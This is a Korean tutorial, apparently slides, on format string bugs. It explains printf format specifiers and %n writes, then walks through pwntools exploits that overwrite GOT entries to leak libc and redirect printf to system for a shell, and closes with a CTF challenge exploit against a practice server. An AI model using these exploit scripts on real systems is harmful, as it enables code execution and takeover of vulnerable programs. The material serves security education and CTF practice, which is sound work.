FSB

Format String Bug

FSB란

  • printf의 잘못된 사용법으로 일어나는 버그

FSB란

  • printf의 잘못된 사용법으로 일어나는 버그

          int main(void) {
            char buf[100];
            gets(buf);
            printf(buf);
          }
          

FSB란

  • printf의 잘못된 사용법으로 일어나는 버그

          int main(void) {
            char buf[100];
            gets(buf);
            printf(buf);  // bug!!
          }
          

포맷 문법

참고

포맷 문법

%[parameter][flags][width][.precision][length]type

포맷 문법

%[parameter][flags][width][.precision][length]type
parameter
n$꼴로 n번째 인자를 지정할 수 있다.

            int main() {
              printf("%3$d", 1, 2, 3); // 3
              printf("%0$s"); // %0$s
            }
          

포맷 문법

%[parameter][flags][width][.precision][length]type
flags
정렬(-), pre(+, #), postfix, padding(' ', 0) 등

포맷 문법

%[parameter][flags][width][.precision][length]type
width
폭 지정. *를 주면 숫자와 대응

포맷 문법

%[parameter][flags][width][.precision][length]type
.precision
정수: 왼쪽 패딩, 실수: 소수점 자리, 문자열: 지정한 개수만큼 표시

포맷 문법

%[parameter][flags][width][.precision][length]type
length
|character|설명| |---------|----| |h|정수 자료형 감소 (int -> short)| |hh|정수 자료형 2번 감소 (int -> short -> char)| |l|정수 자료형 증가 (int -> long)| |ll|정수 자료형 2번 증가 (int -> long -> long long)| |L|실수 자료형 증가 (float -> double)|

포맷 문법

%[parameter][flags][width][.precision][length]type
type
|character|type|설명| |---------|----|----| |d, i|int|부호 있는 10진 정수| |u|unsigned int|부호 없는 10진 정수| |o|unsigned int|부호 없는 8진 정수| |x, X|unsigned int|부호 없는 16진 정수| |f, F|double|10진수 방식의 부동 소수점 실수| |e, E|double|지수 형식|
|character|type|설명| |---------|----|----| |g, G|double|%e와 %f 중 짧은 쪽, 소수점 아래 0 생략| |c|char|문자| |s|char *|문자열| |p|void *|포인터 주소값| |n|int *|포인터 주소값| |%|literal '%'||
p는 (void *)형이라 비트 수에 맞게 스택을 보여줘서 좋다. s는 포인터 주소가 아닌 값을 읽을 때 사용한다. n을 사용하면 현재 출력 된 글자 수를 주소에 쓴다. 아래 코드가 가장 중요하다. 핵심이다.

              int main() {
                int n = 0;
                printf("%100c%n", 65, &n);
                printf("\n%d", n); // 100
              }
            
첫번째 printf를 실행할 때 스택 구조를 보면 ||| |-|-| |ret|| |&format| -> "%100c%n" | |65|| |&n|| n의 주소를 넘겨주고, printf에서 n에 값을 쓸 수 있다.

대부분 fsb를 활용한 공격은 got를 덮어서 다른 함수를 호출하게 한다.

plt와 got를 이해할 필요가 있다.

printf 호출 -> printf@plt -> jmp printf@got -> libc_printf

과정은 생략하고 대충 plt를 호출하면 got로 가는데 got에 libc printf 주소가 적혀있다고 보면 된다.

- GOT에는 주소가 저장되어 있다. (plt+6의 주소 or 실제 함수의 주소)

- PLT에는 코드가 저장되어 있다. (GOT로 점프하는 코드!)

- 흐름에 맞게 GOT에는 원래 GOT에 있던값이, PLT에는 원래 PLT에 있던 값이 있어야 한다. (반드시 그런건 아니지만, 흐름상 그렇다.)

출처: https://bbolmin.tistory.com/75 [bbolmin]

printf got를 이런 식으로 덮을 수 있다.

            int main() {
              int *printf_got;
              printf_got = 0x0804A00C;
              printf("%3031c%n", 65, printf_got);
              printf("\n%d", n); // 100
            }
          

그럼 printf(buf);와 같은 코드에서 parameter를 이용해서 원하는 주소에 원하는 값을 쓸 수 있다.

FSB 페이로드는 다음과 같은 형태로 이뤄진다.

[서식 지정자...] [주소...]


            [DEBUG] Sent 0x31 bytes:
            00000000  25 38 63 25  ...  37 32 63 25  │%8c%│11$h│hn%1│72c%│
            00000010  31 32 24 68  ...  31 33 24 68  │12$h│hn%9│77c%│13$h│
            00000020  6e 61 61 61  ...  0d a0 04 08  │naaa│····│····│····│
            00000030  0a                             │·│
          

그 이유는 주소에 0x00이 있으면 (ascii armor) 그 뒤를 포맷으로 인식하지 못하기 때문이다.

그러면 다음과 같은 코드가 있다고 가정


            #include <stdio.h>
            #include <stdlib.h>

            int main(void) {
              char buf[500];
              read(0, buf, 500);
              printf(buf);
              exit(0);
            }
          

목표는 쉘을 따는 것!

분석은 스킵하고 바로 공격 시나리오로 들어갑시다.

공격 시나리오

  1. 포맷의 오프셋을 구한다.
  2. exit의 주소를 main으로 바꾼다.
  3. libcbase를 가져오기 위해 main의 리턴주소를 leak한다.
  4. printf의 got를 oneshot 또는 system으로 바꾼다.
  5. shell!

1. offset


            $ ./fsb
            AAAAAAAA %p %p %p %p %p %p %p %p
            AAAAAAAA 0x19b2030 0x7f56518ab790 0x7f56518a98e0
              0x19b2031 (nil) 0x4141414141414141
              0x2520702520702520 0x2070252070252070
          

6번째에 4141... 이 나온다.

2. exit overwrite

원래는 got에 plt+6의 주소에 들어가 있으므로 아래 두 byte만 바꾸어주면 된다.

2. exit overwrite


            from pwn import *

            p = process("./fsb2")
            e = ELF("./fsb2")

            main = e.sym['main']
            pay = "%" + str(main & 0xffff) + "c%8$hn"
            pay += "aaaaa"  # dummy, stack align
            pay += p64(e.got['exit'])

            p.sendline(pay)

            p.interactive()
          

main이 계속 반복되는 것을 볼 수 있다.

3. libcbase leak

메인이 시작할 때 breakpoint를 걸면 스택에 __libc_start_main+240이 있는 것을 볼 수 있다.


            0x00007fffffffdee8│+0x0000: 0x00007ffff7a2d830  
              →  <__libc_start_main+240> mov edi, eax  ← $rsp
          

%p를 사용해서 return 주소를 leak할 수 있다.

pause()를 건 뒤, gdb에서 return 주소를 찾아보면 +0x0418 __libc_start_main+240이 있다.

0x418 / 8 = 131, 오프셋 6을 포함한 %137$p로 값을 가져오면 주소를 알아낼 수 있다.

3. libcbase leak


              from pwn import *

              p = process("./fsb2")
              e = ELF("./fsb2")
              libc = e.libc

              main = e.sym['main']
              pay = "%" + str(main & 0xffff) + "c%8$hn"
              pay += "aaaaa"  # dummy, stack align
              pay += p64(e.got['exit'])
            

              p.sendline(pay)
              p.sendline("%37$p")
              p.recvuntil("0x")

              libc_start_main = int(p.recvline()[:-1], 16) - 240
              libc_base = libc_start_main - libc.sym['__libc_start_main']
              log.info("main: " + hex(libc_start_main))
              log.info("libc base: " + hex(libc_base))

              p.interactive()
            

4. printf overwrite

마지막으로 printf를 system으로 바꿔주면 된다.

문제는 system의 주소를 바로 출력하면 길이가 너무 길어서 한세월이 걸리거나 IO가 터진다.

그래서 바이트를 짧게 끊어서 넣어주어야한다.

여기서 생각해 두어야 할 것은 printf는 이미 호출 된 상태여서 libc안에 있는 것을 가리킨다.

하위 3byte만 덮어주면 된다.

4. printf overwrite


              from pwn import *

              p = process("./fsb2")
              e = ELF("./fsb2")
              libc = e.libc

              main = e.sym['main']
              pay = "%" + str(main & 0xffff) + "c%8$hn"
              pay += "aaaaa"  # dummy, stack align
              pay += p64(e.got['exit'])
            

              p.sendline(pay)
              p.sendline("%37$p")
              p.recvuntil("0x")

              libc_start_main = int(p.recvline()[:-1], 16) - 240
              libc_base = libc_start_main - libc.sym['__libc_start_main']
              system = libc_base + libc.sym['system']
              log.info("main: " + hex(libc_start_main))
              log.info("libc base: " + hex(libc_base))
              log.info("system: " + hex(system))
              log.info("printf@got: " + hex(e.got['printf']))
            

              system1 = (system & 0xffff0000) >> 16
              system2 = system & 0xffff

              pay = "%" + str(system2) + "c"
              pay += "%{0}$hn"
              if system1 - system2 < 0:
                  pay += "%" + str(system1 - system2 + 0x10000) + "c"
              else:
                  pay += "%" + str(system1 - system2) + "c"
              pay += "%{1}$hn"
              pay += "A" * (16 - len(pay) % 8)
              pay = pay.format(len(pay) / 8 + 5, len(pay) / 8 + 6)
              pay = pay[:len(pay) - len(pay) % 8]
              pay += p64(e.got['printf']) + p64(e.got['printf'] + 2)
            

              p.sendline(pay)
              p.interactive()
            

5. shell!

이제 system 함수로 무엇이든지 할 수 있다.

다시 main으로 돌아왔을 때 /bin/sh을 치면 된다.

Basic FSB

분석

main함수에서 vuln함수를 호출

분석

vuln에서는 fgets로 입력을 받고, snprintf로 저장한 후, 그것을 printf를 사용해서 출력


            int vuln()
            {
              char s; // [esp+0h] [ebp-808h]
              char format; // [esp+400h] [ebp-408h]
            
              printf("input : ");
              fgets(&s, 1024, stdin);
              snprintf(&format, 0x400u, &s);
              return printf(&format);
            }
          

분석

FSB가 가능한 부분이 두 군데 있다.


            int vuln()
            {
              char s; // [esp+0h] [ebp-808h]
              char format; // [esp+400h] [ebp-408h]
            
              printf("input : ");
              fgets(&s, 1024, stdin);
              snprintf(&format, 0x400u, &s);
              return printf(&format);
            }
          

분석

flag 함수로 쉘을 딸 수 있음

분석

snprintf에서의 오프셋


            $ ./basic-fsb
            input : AAAA %p %p %p
            AAAA (nil) 0x41414141 0x20702520
          

offset: 2

공격 시나리오

  1. snprintf에서 FSB 취약점을 이용해 printf의 gotflag함수 주소로 바꾼다.
  2. printf@plt 실행 -> printf@got -> flag
  3. 쉘 획득

익스플로잇

이제는 pwntools에 있는 fmtstr_payload를 이용해서 해보겠다.

fmtstr_payload(offset, dict)를 받는데,

dict에는 key가 덮을 주소, value가 덮을 값이 되게 만들면 된다.

익스플로잇


            from pwn import *

            context(arch='i386', log_level='debug')

            p = remote("ctf.j0n9hyun.xyz", 3002)
            e = ELF("./basic_fsb")

            payload = fmtstr_payload(2, {e.got['printf']: e.sym['flag']})

            p.sendline(payload)
            p.interactive()